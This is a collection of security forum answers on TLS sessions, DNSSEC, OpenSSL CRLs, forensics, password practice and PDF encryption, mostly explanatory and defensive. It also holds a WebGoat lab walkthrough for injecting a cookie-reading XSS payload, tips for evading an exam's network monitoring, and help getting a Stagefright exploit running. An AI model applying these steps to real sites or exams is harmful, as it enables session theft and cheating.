How long does an HTTPS symmetric key last

The complete picture is the following: the asymmetric cryptography (RSA, DH...) results in a shared secret called the master secret. From the master secret are derived the symmetric keys used for encryption.

The distinction relates to the difference between a connection and a session. When a client opens a connection to a server, the two may engage in a new full handshake, with asymmetric cryptography, which results in a new master secret. OR they could agree to reuse a master secret from a previous connection. This latter case is called an "abbreviated handshake". Different connections which work over the same master secret are called a session, and is identified by a session ID which client and server send to each other in their ClientHello and ServerHello messages. See this answer for details on this process.

When a master secret is reused, i.e. for a new connection within a session, new symmetric keys are derived nonetheless, because the derivation works over both the master secret, AND two random values that the client and server send each other in their initial messages. Therefore, symmetric keys are renewed with each connection, but through derivation from a "master secret" which can be remembered for a long time, and reused for many successive connections.

When a connection is established, the normal situation is that keys are not renewed until the connection end. At any time, as per the protocol specification, the client or the server may request a new handshake, within the connection; the new handshake may or may not be "abbreviated" (an abbreviated handshake occurs only if both parties agree to it), but will anyway result in new symmetric keys (but not necessarily a new master secret).

In practice, this does not happen. An extra in-connection handshake will occur if the server wants to force the client to authenticate with a certificate (this is the common case with IIS: first handshake without client authentication, and when the HTTP request is sent and the server learns the actual target path, it triggers an extra handshake). But it is pretty rare for deployed software to really do new handshakes just for the key renewal. The main reason is that key renewal is not needed for cryptographic robustness: AES uses 128-bit blocks, and not 64-bit blocks, precisely so that keys need not be renewed in practical conditions.

So what occurs (especially in a Web context) is the following:

The symmetric keys for a connection remain unchanged until the end of that connection.
A connection lives as long as client and server allow it; in a Web context, the server will normally close connections which have gone inactive for more than one or two minutes.
Sessions, i.e. master secret values, are remembered by clients and servers and are reused when possible. A typical Web browser will remember SSL sessions until it is closed (as a process, i.e. all windows closed). A typical Web server will remember SSL sessions for some given amount of time, which is configurable (typically 10 minutes to 10 hours or so), also subject to available RAM and a configurable limit (each remembered session will use a couple of kilobytes at most).

The symmetric keys for a connection are kept in RAM only. The master secret will normally be kept in RAM only, but when several front-end servers operate behind a load balancer, they may share the master secrets through various methods, which can even be a database. In such configurations, master secret values may thus be stored to a permanent storage medium (which raises a lot of potential issues, of course).

If you shut down the client system (not just put it to sleep or hibernation, but really shut it down), then it is pretty much guaranteed that all symmetric keys, including the master secret, have disappeared for good from the client machine.


Do WebGoat style XSS attacks still work?

Setting the X-XSS-Protection: 0 header is the correct solution, but you have to add this header in the response, not in your request.
Steps:

Make sure you have an actual cookie which is not secured with the HTTP-only flag. (You can edit the JSessionID cookie for example)
Use a correct JS command to retrieve the cookie (test it first in console), for example: var a=document.cookie;alert(a) (note: if you have multiple cookies, you will have to split them, I assume you only have the JSESSIONID cookie)
Store the command in the street field, with script tags: var a=document.cookie;alert(a) (Stackoverflow hides the script tags, make sure you add them)
Fire up Fiddler before saving. We will intercept the response and add the X-XSS-Protection:0 header in the response (if you have the developer version, you could probably add it in the source)
Intercept the response, edit the response headers, add the X-XSS-Protection:0 header, hit CTRL+S just to make sure, then hit 'run to completion'.
Et voilà

Update: screenshots for clarification.

Fiddler

*:

Webgoat result


How did the spam email sender get my name?

Under the "How we use your information" section of their privacy policy, Moneybookers/Skrill has this to say:

  [in order] to provide you with information, products or services that you request
  from us or which we feel may interest you.

and this:

  We may disclose your personal information to any member of our group,
  which means our subsidiaries, our ultimate holding company and its
  subsidiaries who are based in different countries within the EEA and
  in the USA.

They appear to have enough loopholes in the agreement that you voluntarily accepted to allow them to pass your information along to a third party, or to act on behalf of a third party.


How to test the validity of DNSSEC from a command line interface?

According to http://backreference.org/2010/11/17/dnssec-verification-with-dig/:

Obtain root keys.  You can do this with dig on an unpoisoned machine:

dig . DNSKEY | grep -Ev '^($|;)' > root.keys

Verify your target dns record:

dig +sigchase +trusted-key=./root.keys www.eurid.eu. A | cat -n

The other alternative is to set up a validating DNS resolver like unbound.  I use it to provide DNSSEC security on desktop machines.  It's easily available in Fedora 17.  Or BIND in Debian 7.0.  I forget whether there are debian packages which set up unbound for you, but it's not hard to do manually either.

Then run dig against your secure resolver, and it will show a flat error (SERVFAIL, I think) if there are invalid results.  You can also configure unbound to log details about each validation failure.


Motorola Human Authentication Pill/Vitamin Security?

The thought is probably that since it is inside you it can't be stolen, so obviously it would be more secure than a form of ID that could be stolen. I think it's pointless, and actually potentially hazardous to the user:

It would only last a few hours. It's powered by stomach acid, once it's out of the stomach it would stop working. What are going to do, take an authentication pill every day? Why not use other biometrics what rely on what you are, rather than what you have?
It's dangerous to the user. Nowdays if a thief wants money out of your bank account he/she will skim your card and capture your pin with a camera or a fake keypad. It's not a violent crime. With an intestine-based authentication system (or any biometric authentication system) the thieves will need the user physically in order to authenticate, opening the user up to kidnap, coercion, forced vomiting, or at worst having their guts cut out

It's an interesting experiment, however I wouldn't actually want to use it. If someone threatens me with a knife or a gun wanting my money, entry into a facility or whatever then I can give them my cards, my codes, my key fob, whatever. The trouble with a swallowed device is that I can't give it to them at will.


Is it secure for a site to serve the login page with HTTP, but have the actual site in HTTPS?

Especially on a login page the entire page should be https. Making, of all pages, the login page http and putting the https under a button is bad practice in my book.

This makes it a lot easier to perform MiTM/SSL strip attacks by replacing the https action under the button with a simple http link and no one can tell unless they inspect the source (as buttons don't show the link they are referring to as opposed to regular links in the content). And even when inspecting the source, as some browsers reload the page when showing source, there is no certainty.

Happy to hear reasons that contradict this, but I don't see why a login page should EVER be http on purpose when the rest of the site is https other than insecure development of the site.


You need the parameters for the encryption in the handshake. You can't encrypt anything without having at least the public key of the other user or a shared secret. Also, using some sort of hard-coded cipher could cause compatibility problems. That is the whole point of the handshake, not to bind the protocol to a single cipher with single set of settings.


One reason is for better firewall traversal. You can get past some stricter firewalls with TURN/TLS over port 443 to disguise WebRTC traffic as HTTPS traffic.


Can I modify a ciphertext created in AES with OFB mode?

What you are discussing is called a known-plaintext attack:

  The known-plaintext attack (KPA) is an attack model for cryptanalysis
  where the attacker has access to both the plaintext (called a crib),
  and its encrypted version (ciphertext). These can be used to reveal
  further secret information such as secret keys and code books.

But

  Modern ciphers such as Advanced Encryption Standard (AES) are not currently
  known to be susceptible to known-plaintext attacks.

While you may find this inconvenient, it is important for the security of our digital world. Consider the fact that HTTP messages frequently start with predictable sequences of text (HTTP reference). So the start of an HTTPS message is somewhat predictable. This is true for many other types of encrypted data. If someone could guess the plaintext and then be able to decrypt or modify the message, the situation would be rather dire.


Filtered ports - What exactly filters them?

In most operating systems, handling the TCP three-way handshake is the responsibility of the operating system's networking code. Applications can only declare interest in receiving connections on a certain port by means of the listen() system call. The operating system will answer a SYN with a SYN/ACK if there is an application listening on the port, and with a RST otherwise. No application has any say in that.

This is the default behaviour. It can be modified by many things, including but not limited to packet filtering mechanisms on the host.
In addition, specialized implementation of TCP/IP may behave differently on purpose.

When NMAP receives neither a SYN/ACK nor a RST in reply to a SYN packet it reports that port as "filtered". It has no way to determine the reason why it didn't receive a reply. Conversely, if an intervening firewall blocks the port by replying with RST then NMAP will report the port as closed even though the probe packet never actually reached its destination.

In sum, your quote is at least inexact. NMAP also reports ports as filtered if they cannot be determined as open or closed for other reasons besides packet filtering. Packet filtering is just the most common of causes, and has therefore become the eponym for that result. What's more, NMAP may even report a port as closed when it cannot determine it as open or closed because of an intervening packet filter.


Ingress client certificate authenticate requires CA certificate to be stored in secret?

In the context of X.509, which is used in TLS, we usually use the term “certificate” to refer to a structure which contains, along with identifying information, a public key.  Since this key is public and the certificate is generally available to anyone on the Internet, there's no risk in providing it.  It probably needs to exist in a secret store only because it's a convenient place to load it from, not because it's actually secret.
What you're probably thinking of is the private key corresponding to the public key in the certificate, which you of course won't be able to access.  Publicly trusted CAs usually store the private key in a hardware security module, so even the people running the CA probably can't access it (only use it to sign things).


How does Eve monitor and obtain ciphertexts?

I'd recommend grabbing Wireshark and listening on a Wifi network. If your network card can be put into promiscuous mode, and it probably can, then Wireshark will show all packets on the network that it picks up... e.g., everything on the network, essentially.

You could demonstrate the difference between HTTPS (say, have someone browse their Gmail account) and HTTP (say, browse reddit).

The reasons why I suggest using a Wifi network are twofold: first, Wifi networks model a very real-world scenario (say, public wifi at Starbucks), and second, Wifi networks have a "broadcast everything" model that makes picking up traffic really easy.

For more complex network topologies, e.g. a good ethernet with switches and whatnot, there are other techniques that can be used to sniff/MITM hard-to-reach packets, like ARP spoofing. But these are probably outside of the scope of what you want to demonstrate — you may decide to mention them in passing, though.


Adding Floating point operations to fuzzing?

Floating point support in fuzzing is useful if the target deals with floating point numbers. This not the case for all, or even most fuzzing targets, but it is for some. In those cases, many traditional integer fuzzing techniques might not result in the test coverage you want. Take for example the popular AFL fuzzing tool. In its documentation, it describes how it uses integer arithmetic to improve coverage:

  Simple arithmetics: to trigger more complex conditions in a deterministic fashion, the third stage employed by afl attempts to subtly increment or decrement existing integer values in the input file; this is done with a stepover of one byte. The experimentally chosen range for the operation is -35 to +35; past these bounds, fuzzing yields drop dramatically. In particular, the popular option of sequentially trying every single value for each byte (equivalent to arithmetics in the range of -128 to +127) helps very little and is skipped by afl.

  When it comes to the implementation, the stage consists of three separate operations. First, the fuzzer attempts to perform subtraction and addition on individual bytes. With this out of the way, the second pass involves looking at 16-bit values, using both endians - but incrementing or decrementing them only if the operation would have also affected the most significant byte (otherwise, the operation would simply duplicate the results of the 8-bit pass). The final stage follows the same logic, but for 32-bit integers.

Obviously, this isn't going to be helpful if the fuzzing target expects floating point numbers. After all, a 32-bit chunk of data will mean something completely different if it's treated as an integer, as opposed to a floating point number. A fuzzer that is floating point-aware will be able to take advantage of this.


Safe way of sharing a password with someone via email

To do this securely, you'll need to either

Create a PGP certificate or S/MIME certificate, share it with the user, and then share content via email encrypted using PGP or S/MIME.

Or

Share a shared-secret with the recipient ahead of time - by phone is probably the easiest way. I'd recommend a 6 word or longer EFF Diceware password, but this will vary based on your threat model. A good tool for generating one can be found at https://www.rempe.us/diceware/#eff, although you can use whatever tool you want.

After you share this shared secret, you can use any number of file-encryption (or email encryption) tools to send a document encrypted using the shared secret. I'm partial to ProtonMail because of its ease of use, but truly any reputable file encryption or encrypted email solution is fine.

Alternatively, you can also use a tool like Sync.com or another file-sharing site that allows encrypted transfer and password protection. Truly, the important and difficult part is getting the shared secret out there in the first place.

If you recipient isn't computer savvy, #2 is probably the easier workflow. All they have to do is click an link and type a password consisting of only common English words.


Your title is misleading; you are using the default config file, just fine, as shown in your first line of output.

  How do I revoke the certificate and generate a CRL?

These are two separate steps with OpenSSL.

First use openssl ca -revoke $certfile much as you did, but if you want to specify a reason (you don't need to) you must use a flag like -crl_reason superseded not just superseded. This step only updates the 'database' (a simple text file normally named index.txt although it can be configured otherwise). If the CA key and cert files are specified in the config file, which they normally should be, you don't need to specify them on the command line. (This operation doesn't really need them but does access them; see Why does OpenSSL need the private key to revoke a certificate? )

Anytime after the 'database' is updated, use openssl ca -gencrl [options] to actually generate a CRL from the current (updated) contents. The CRL period (in days, hours, or seconds) must be specified on the command line or in the config file; the upstream default config sets it to 30 days, but I don't know what packaging or other modification you are using. Other options may be added as per the man page. This operation does need the CA key and cert, because the CRL is signed with that key and marked for verification with that cert.

This 'database' scheme is identified, rather briefly, in the first text paragraph of the man page for ca(1ssl?) on a Unixy system with OpenSSL or on the web:

  The ca command is a minimal CA application. It can be used to sign certificate requests in a variety of forms and generate CRLs it also maintains a text database of issued certificates and their status.

The 'text database' is the index.txt file (normally) and 'status [of issued certs]' is whether, when and why they were revoked. Whether is indicated by the first tabdelimited field being V for valid or R for revoked; the other information is in the third field and should be pretty obvious.


Best practices for passwords on registration?

Your developer is trying to mix three different process into one: password registration, email validation and robot detection. Unfortunately, that makes the whole setup less secure and less resilient than it should be.

Email is clear text and, nowadays, it pretty much guarantee to live forever and be included into several indexes and often kept for a long time in multiple servers along the way. If you sent someone a password via email, you're sure that you're making it very vulnerable. Email is not secure unless you explicitly secure it (S/MIME or PGP).
Email isn't a synchronous process: there is no minimum time for an email to reach his target. In fact, it often can take several minutes for an email to get through the final mail server. This makes the whole process slow and unfriendly to the end user.
Email isn't very reliable: as you've discovered, email can be lost for a variety of reasons without anyone being notified. As such, it makes it a really poor medium for transmitting important, time-critical information like initial connection info.
For robot detection, this process is dreadfully inefficient: there are plenty of disposable email services that can easily be used to work around this process (or catch-all mail domains).

Now, there is no "correct" way of doing this: what will work best will depends a lot on what level of security you need and how you weight it against ease of use: it's not the same to design security for a banking web site than for a cooking receipt repository.

It is, however, important to remember these things when designing the system (and stay consistent, which is, in my opinion, the issue you're having with yours):

What is your target audience. This will let you know how complex for the user you can make the registration process.
What is the value of the registration to your web site for your users. This should tell you how much effort you can expect from them.
What is the value of the registration for you. It should tell you how much effort you should put into verifying the registration detail.
What is the value of the registration for a potentially hostile third party. It should tell you how much effort you should put into making sure the user information is secure.

OWASP has a cheat sheet describing the elements of a secure authentication process. Their guide to authentication is a little light on the subject but it does bring in some good element about how to do it right (or not do it wrong).


Should programs check for symlinks before creating files?

Yes programs should pay attention to symlinks if the programs read or write files from/to directories where users with lower privileges can create symlinks. Otherwise it is possible that a user can read from or write to files which should be protected.

But you should avoid a check like if(!issymlink(path)) { writeto(path) } because that would be prone to a race condition. Instead in linux, for example, you can use the O_NOFOLLOW flag to open to fail with an error if the path points to a symbolic link.


Users of Windows XP with IE will be unable to purchase from PCI-compliant vendors on the Internet after DSS v3.1's prohibition of TLS 1.0 takes place by June of 2016.  (Most merchants will turn off TLS v1.0 somewhere before that to be compliant without a last-minute rush).

Of course, if they wish to use Chrome, Firefox, Opera, or any other modern browser under Windows XP, they will be continue to be able to make purchases.  Here's an excellent table of supported protocols by OS/Client by Qualys.

It's the combination of an unsupported browser on an unsupported OS that's killing the XP+IE combo.


Your logs are partial; you don't show all packets. Notably, there cannot be in SSL an "application data" record if a handshake has not been completed, and a complete handshake (abbreviated or not) necessarily contains two "change cipher spec" messages. Also, note that when a system sends several successive handshake messages (as is common for a server: the ServerHello is usually followed by a Certificate and then a ServerHelloDone), the messages will usually be wrapped within the same record.

As for versions, there are two of them in SSL: the protocol version negotiated in the ClientHello and ServerHello, and the one used in the record headers. They do not necessarily match (although they should, at least after the pair of hello messages). You should inspect these field more thoroughly.

After a "change cipher spec", subsequent records are encrypted, so Wireshark cannot see their contents; only the general type (handshake, alert, application data...) is visible, because it is part of the record header. This is why you see "encrypted alert".

Some clients will try several versions: they first begin with a high announced version, but they don't like what they see, they may try again with another announced maximum version. This may be what you observe.

This answer is a detailed introduction to SSL/TLS, which should help in analysing recorded handshakes.


Is running an erase tool after an OS install sufficient to ensure no data from the old install is recoverable?

As far as I can see from the documentation, Heidi Eraser makes a serious attempt at erasing all the unused space on the disk where old data may linger. Make sure to select “erase cluster tips”, as otherwise some hard-to-exploit data fragments could be left in blocks that are only partially used by a file (because the size of this file is not a whole number of blocks) (this is explained in the “cluster tips” entry in the glossary in the manual). Heider Eraser also takes care of erasing the filesystem table to wipe the names of old files. I have not seen any reference to erasing areas reserved for filesystem metadata which may not have been initialized (I don't know if NTFS has such areas).

Nonetheless, I strongly recommend wiping data before installing the new operating system, because it's simpler. Heider Eraser has to whitelist areas to wipe, because it must make sure not to erase live data. Wiping a blank disk is straightforward. Do this, then install the new operating system.

Note that overwriting once with zeroes is practically as good as overwriting with random data multiple times (there was a difference with 1980s technology, but not with today's denser disks). Also, note that against an attacker with physical access and some electronic equipment, wiping is not enough, especially with SSD, because the disks reallocate defective or worn sectors but you can still read them with the right equipment. See How can I reliably erase all information on a hard drive? and other [deletion] questions on this site.


You are looking in the wrong place. :-)

A basic dictum of security is to fix security issues which can be easily exploited before fixing issues that are hard to exploit -- which is just common sense.

The symmetric-key algorithms used in Truecrypt are already plenty strong. Look at this previous answer on AES before proceeding, please.

Your main concern should be key management, i.e. picking a good passphrase and keeping it secure. See here how an attacker would really go about attacking a Truecrypt volume.

From a typical security standpoint, it's senseless to use algorithms with a higher security margin than 128 bit AES unless your passphrase also provides sufficient (192 bit, 256 bit) security margin. See the handy table from Wikipedia to estimate how long a completely randomly chosen password or a Diceware based password would have to be to match 256 bits of entropy.

Creating, keeping and sharing high quality passphrases in a team is quite hard to do in practice. Focus your efforts there.


Can an ssh key login to a secure remote server be compromised when on a network run by a bad actor

SSH has being proposed to be secure and almost impossible to decrypt (at least for a user-level as the cafe case you're proposing). So most answers would say "no, your login cannot be compromised".

But, recently, as many hackers have been used the SSH tunnels for bad purposes due to its security (as security devices and software may not be able to inspect and/or distinguish malicious or not-malicious ssh traffic); some firms have been developing new products that are able to decrypt and inspect SSH traffic. If, as a theoretical example, a bad actor is running that wifi, using a firewall that lets decrypt and inspect SSH connections, it can be used for a MitM attack (Man-in-the-Middle). Obviously (as @kaidentity remarked and i forgot to tell, thanks) this only would work if the client did not check the server's public key fingerprint.

Readable example: http://blog.checkpoint.com/2015/08/12/ssh-decryption-opens-door-to-very-old-security-vectors/

and: http://code.danyork.com/2015/07/31/firewalls-now-looking-at-intercepting-ssh-traffic-via-a-mitm-attack/


Separate log-in panel for administrators?

If you protect the log-in page with HTTP authentication or hide it behind a “secret” URL, really all you're doing is add extra passwords. Instead of one admin password, there are effectively three: The “secret” part of the URL, the HTTP authentication password and finally the admin password itself.

While this may sound like a good idea (more is better?), it's nonsensical. Managing three different passwords is a lot of trouble and has little benefit over a single good password. In fact, if a security procedure is very annoying, people tend to take shortcuts. No sane person is willing to write down three very long strings on each log-in, so you'll probably end up making each password relatively weak, save them in the browser or whatever. In the worst case, you'll be less secure than before.

I'd rather choose one strong password per account and leave out the theatre. If you make it strong enough, you can stop worrying about brute-force attacks.

Just to clarify: It can make sense to separate the admin content from the standard user content, but not in the case described above.


You probably need to google and read about XSS but here's a quick intro. Cross-site scripting is an attack where a hostile site, let's call it H, attacks your site S. H has on it a link to S that has malicious code in it that has been designed to provide the attacker with some benefit (eg: useful information or perform an action). This will likely only work if the user who visits H is currently logged into your site S, but that's OK. Attackers don't care if it doesn't work most of the time as long as it works enough of the time.

One might think that site S can assume that input is always coming from the currently logged in user so S doesn't need to protect the user from inputing dumb things like scripts. But XSS is a means of an attacker tricking a user to appear to input (they haven't actually input it into a text box but the forged request looks similar to that) scripts and other input that is dangerous to themselves. So S must not only protect itself from the user, S must also protect the user from the user because sometimes the user will be a forged link from another site.

Start by reading OWASP's XSS Cheat sheet and look elsewhere for defenses.


How to evaluate the damage after being hacked

So there are really two sides to this question.

1. What can I do NOW. I am hacked.

a. You can view your system logs. Instead of trying to parse through the differnet logs on your system, it might be easier to use a timeline tool such as log2timeline. This will gather all timeline evidence artifacts and put them in an easy to read .csv file. Timeline information is really all of the available log sources in one place. This can really help you determine various indicators of compromise and help you find where you need to spend some time digging on your system.

b. You really need to capture a snapshot of your memory as soon as you can. It is very possible that there are still remnants of malware on your system or cached network information about the attacker. There are several free memory acquisition tools available, such as MoonSols DumpIt. Once you have a copy of your memory, you will need to analyze it, and can use a tool like Mandiant Redline (also free).

c. If you are really serious about finding what was taken on your system, you really should take a forensic image of your hard drive and work off of the image, for accountability sake. There are some free HDD imaging tools, like FTK Imager. Once you have a snapshot of your HDD, you can run it through a forensic acquisition toolkit like the Autopsy forensic suite. You can then run the files against a bad file hash list, which will alert on malicious files on your PC based on hashes taken of the malware in the past. You can load the hash lists in your forensic acquisition tool and run it against your file system. You can find free and up to date hash lists at the NSRL (National Software Reference Library).

2. How to prevent getting hacked in the future.

a. It is a good idea to use log collection and analysis tool on your PC's, a HIDS agent. OSSEC is an open source HIDS agent that works very well. It gathers logs from your PC's as well as monitoring system critical files and registry entries.

b. It is a good idea to employ a NIDS system. This will watch for signs of compromise over the wire. Tools such as suricata provide excellent monitoring capabilities. Check out SecurityOnion. It is a linux distro packed with tools such as suricata. It makes setting up a NIDS system super easy.

c. You really need to keep on top of patching. Employ a vulnerability assessment tool such as OpenVAS (Open source). This will help you keep on top of vulnerabilities on your network.

d. Have a solid Incident Response plan!!! This is so important.

e. Follow the SANS top 20 Critical Security Controls.


Can this be mitigated by requiring SMB signing by clients on the
network? i.e. Would this prevent the client from sending its response
to the authentication challenge because the authentication challenge
wasn't signed?

No, according to this NCC article:

Note that while requiring SMB signing can prevent the relaying of NTLM
authentication to an SMB server, it does nothing to prevent either SMB
or HTTP NTLM authentication from being relayed to an HTTP server. SMB
signing also does not prevent the capture and offline cracking of the
NTLM challenge response.

The recommended mitigations are as follows:

Disable Broadcast Protocols

NetBIOS over TCP/IP
LLMNR

Network segregation
Apply the principle of least privilege

So it appears there isn't actually a solid way to prevent hashes from being MITM'd. The above reduces the likelihood, but doesn't set the risk to zero.
Enforcing long passwords (15 characters and more) and encouraging users to select passwords based upon passphrases can help mitigate captured hashed being cracked and then used by an attacker.


Is there a method to detect an active man-in-the-middle?

There are multiple 'tells' your friend might pick up on if he is a victim of a mitm vector.

Is your friends connection slower then usual?
Is the facebook page exactly like the one he sees at work, school, etc?(compare source)
Ettercap has a few modes designed to detect a mitm attack that your friend can make use of.

None of the above methods are fool proof, but together they build a picture of possible side effects.
Your friend can bypass a dns_spoof by navigating to facebook by its ip (66.220.149.88) and us a vpn tunnel (tor is free but slow)

Having said all this, it is unlikely that your friend is a victim to a mitm attack. It is extremely probable their machine is infected with keyloggers.
Have your friend run a virus scan, clean them out and then check all facebook security settings.

Also, if your friend uses yahoo have them switch to gmail.


If Full Disk Encryption is enabled, is encrypting the backups a moot point?

First off, it depends on whether you are backing up a bit-level image of the encrypted disk/filesystem or backing up a mounted (unencrypted) filesystem that happens to exist on an otherwise encrypted disk.

If your backup software is accessing the unencrypted files directly then your backup will be unencrypted. In this case, you would want to enable encryption in your backup software.

Per the issue of double-encryption, this might be considered a defense-in-depth strategy in case something goes wrong with the primary encryption mechanism. Additionally, you could potentially be adding a second layer of key management controls here in addition to the second layer of encryption. Deciding whether or not this is overkill requires a measurement of the impact of losing the data vs the additional cost of double-encryption. Unless there is a time-constraint problem or technical challenge which makes this excessively hard to do it will most likely be worth the cost and not really considered overkill.

Keep in mind that the defense in depth strategy also protects you from some system administration mistakes. For example, if you do this across all systems in your organization and one is setup without disk encryption the backup encryption will still be in place as a safety net.


How to verify signature while downloading log4j?

To the second question, the KEYS is the file that is linked on the apache site. You just have to download it as is (and by as is I mean, with all the comments and the --BEGIN --END shenanigans). Just right click the link and save it like this.

To the second question, the gpg --import command will sort out what is a key and what is not, importing all the keys in bulk.


Integrity means that the data is correct.

Consistency means that the data format is correct, or that the data is correct in relation to other data. This term isn't much used in Information Security, you'll find it in Computer Science in general.

For instance, accessing a database without authorization and changing a DOB from 1/1/1980 to 2/2/1980 would violate integrity.  Changing a DOB to 13/13/1980, or deleting a user so that other data (e.g. bills) references to NULL would violate consistency.


Parameters in output of password hashing function

The "parameters" need not be secret. They are not meant to be secret. It is difficult to keep them secret. So, short answer: don't bother.

On a general basis, you don't want to show the hash output to just anybody. That's why, on Linux systems, /etc/shadow is not world-readable. Similarly, you don't give a dump of your Web site database to just anybody. However, there can be occasional mishaps, in which the attacker can learn part or all of your system data. You keep password hashes, instead of just the passwords, precisely for that reason. Password hashing is a "defense in depth" thing. Separating, e.g., the salt from the hash is then a "defense in deeper depth": it makes sense only if you assume that the attacker breached through the external defenses (he could get a glimpse at your site database, e.g. with a SQL injection attack) but could not breach them totally (he somehow obtained a partial database dump, which includes the hash values but not the salts, or vice versa). This is not a very probable scenario, so it is rarely worth the effort.

See this answer for a detailed discussion (in particular the sections about "salt secrecy" and "pepper").


If your e-commerce site neither stores, processes nor transmits PCI data, then you can take what is known as Attestation A. This is what you do when you use a so-called "Payments 2.0" provider, such as CyberCash, etc. Some providers host the form for you, others provide a POST API, or both.

Who hosts the capture form is not so important, but where the POST goes to is -- if the capture comes to your site, you cannot take Attestation A.  If it goes to CyberCash (or whoever), you can... since the PCI data never touches your site or your database. In this case, the User's browser transmits directly to the payments provider, not you.

Nevertheless, you still have to engage a QSA to verify your Attestation A eligibility.

Example form: https://www.forte.net/images/Sample_SAQ_A.pdf


Will htmlspecialchars (php) be enough for making secure PDF files with user entered data?

How are you generating your PDFs? Unless you are creating HTML markup and using a tool to convert that to PDF, htmlspecialchars won't be of any use to you. < and & are not special in PDF text content.

If you are using the PHP PDFlib functions like PDF_add_table_cell to put your text in the document, there is no need for any particular kind of escaping. Those functions take raw text without any characters being 'special'. Other than general-purpose input filtering to remove unwanted control characters, no string preparation steps should be necessary.

I'm not sure what attacks you're trying to avoid; the most common problem with PDF is embedded scripting malware, but unless you're deliberately putting script in (using eg PDF_create_action) there won't be any in your produced document.

There was a global-XSS vulnerability in the browser PDF plugin once that affected any site hosting a PDF; if you want to ensure protection from that for users with old plugins you can serve all your PDFs with Content-Disposition: attachment.


Can web server have TLS version specific cipher suite configuration?

In theory it would be possible to set the available ciphers and cipher order depending on the TLS protocol version used by the client.
In practice none of the common web servers supports this.

Apart from that it is questionable what use this feature would have because cipher selection is done based on the ciphers the client offers. For example if the client does not offer GCM ciphers with TLS 1.2 (which is possible) then the handshake would actually fail if only GCM ciphers are available on the server side with TLS 1.2. Thus the main purpose would probably only to trick analysis tools like SSL Labs to make it look like the site does not support RC4 even if it does for older clients.


Decrypt cipher texts encypted with the same one time pad key

If the two encrypted messages are using the same stream cipher and the same key,

C1 xor C2 results in M1 xor M2 where C1 and C2 are the respective ciphertext and M1 and M2 are the corresponding plaintext.

You can then recover the plaintext using a technique known as crib dragging. You take a common word or phrase that may appear in the plaintext (such as " the ") and xor that against the result of M1 xor M2. If one of the plaintexts had the text of the crib (" the " in our example), then the result of the xor is what the other plaintext had in that position. If neither plaintext contains the text of the crib, it is very likely that the result of the xor is just gibberish.

You just continue this technique until you recover enough of the plaintext to intelligently fill out the rest.


Is it possible to "fake" being connected to a router?

Well, obviously it's not "foolproof". Depending on your capabilities, there are plenty of ways to cheat.

Your professor has a point in that your standard wireless network card won't simply support a simultaneous connection to multiple different APs, thus preventing your from using that particular interface for an Internet connection. (Although with some tinkering you could possibly alternate between networks without letting the professor's AP take notice by tweaking your driver to omit the layer-2 management frames that are supposed to notify the AP of your intent to dis-/reassociate.)

However, there are also easy workarounds:

Build in a second network adapter (or plug in an external USB one, once the professor leaves) to connect to a network with Internet access. You can easily do this without interrupting your existing connection.
Connect with your phone or another device instead of your real computer. On that device you can configure the broadcasted MAC address to match the one of your computer. This could fool your professor but probably wouldn't withstand a forensic investigation of the traffic.
Use Bluetooth. Most laptops have built-in BT, so you could  just tunnel your traffic via BT to a hidden device that itself is connected to the internet.
Get creative. There are plenty of ways to bridge an apparent air gap. You might use your sound card to transmit data in a small range (or even your hard drive for that matter) - but then again you could also spend that time studying for the exam.

One effective countermeasure might be capturing every student's screen during the exam, but personally I find that very intrusive. Ultimately, if the professor allows students to use their own computers there will always be some way to prepare the devices to cheat.


What security scheme is used by PDF password encryption, and why is it so weak?

There are two types of PDF protection: Password-based encryption and User-Interface restrictions. You are describing the second type of protection, namely the missing permission to copy-and-paste, to print and so on. If there are user-interface restrictions placed on a PDF file, the viewer still needs to decrypt the contents to display it on your screen, so you are not in an "password-based encryption" scenario where you are missing a key to decrypt the document, but in a "DRM" scenario where you trust that the applications that are able to decrypt the file (based on static knowledge like master keys) do only the things the author wants them to do.

Nothing prevents computer experts reverse engineering how the legitimate application decrypts the data (no password needed), and performing the decryption themselves. After having the document decrypted, rights may be "adjusted" to e.g. include printing permission or the decrypting application can do things (like copy all bitmap images) itself.

Adobe tries to prevent "rogue applications" that allow you to circumvent the usage restrictions by their license on the PDF specification: They revoke the license to use the (claimed) intellectual property in that specification for applications that do not obey the usage restrictions. AFAIK some open source tools have or had a build switch for whether the usage restrictions should be obeyed or not. This makes a perfect starting point for people selling "PDF deprotector" software.

In the case described above, the "user password" is the empty string. PDF readers are required to try to an empty user password if a protected PDF file is opened. Only if that fails the password validity check is the user asked for a password. begueradj describes the key derivation in his answer, and as you see, the "DRM permissions" (/P entry) enters the key derivation, so if you just "fix the permissions" in a protected PDF file, a conformant reader will derive the wrong key and fail to open the document. On the other hand, if a PDF file is completely protected by a password (even against opening), the user password is no longer empty, and this type of PDF protection is reasonably secure.


In a slow brute force attack, using a large zombie network, exposing this kind of information can help a attacker significantly.

Imaging 10,000 zombie computers trying to log in every once in a while first extracting usernames, when a list of users are 'detected' go for passwords.

Lets say the zombie tries once an hour, that's 240,000 tries a day. The internet is full of database dumps with email addresses and usernames to try.

Here some posts on this subject:

Is there any reason to show the same message for invalid usernam as password?
Username and or password invalid why do websites show this kind of message


Simple way to protect ssh against man-in-the-middle attack?

If the servers do not know each other then every connection is in theory unsecured. You can have a list of known servers, distribute it in your environment and prevent users from establishing connection with unknown servers.

To further protect yourself, you can add the server's fingerprint to DNS record require additional verification during connection. See this tutorial for an example.


Is there a benefit to changing a password everytime it is used?

Just by pure mathematics as long as you can implement  it securely and you're using strong long random passwords then yes there is benefit because the window of opportunity for a stolen password to be abused is shortened.

The big caveat is can you implement it securely or are you exposing yourself more via your password changing process.


Looks to be in the code as USM NoAuthNoPriv, as seen here -- https://svn.nmap.org/nmap/scripts/snmp-info.nse

You could verify with the net-snmp tools using the -l noAuthNoPriv flag. See the EXAMPLES section here -- http://www.net-snmp.org/tutorial/tutorial-5/commands/snmpv3.html -- the first one showing a completely unauthenicated request.

Here is another example:
snmpget -v3 -u WEAK -l noAuthNoPriv myciscorouter1 sysName.0


Android Stagefright Google Zero Day Exploit doesn't run. How to fix?

I'm also dealing with this exploit trying to make it work, I download it from exploit db.

I think the libc.so is from your architecture instead of the Android one because if you see in the code it uses 64bit architecture.

So make a search in your directory for libc.so.


Is it possible to detect a keylogger, when placed?

Just check around if you want to find them. There are couple of hardware keylogger types.

Wireless keyboards are more vulnerable because all keystrokes can be catched from air. You can build a device that listens specific channel to catch keystrokes and decrypts it, this kind of devices can be placed anywhere in range.

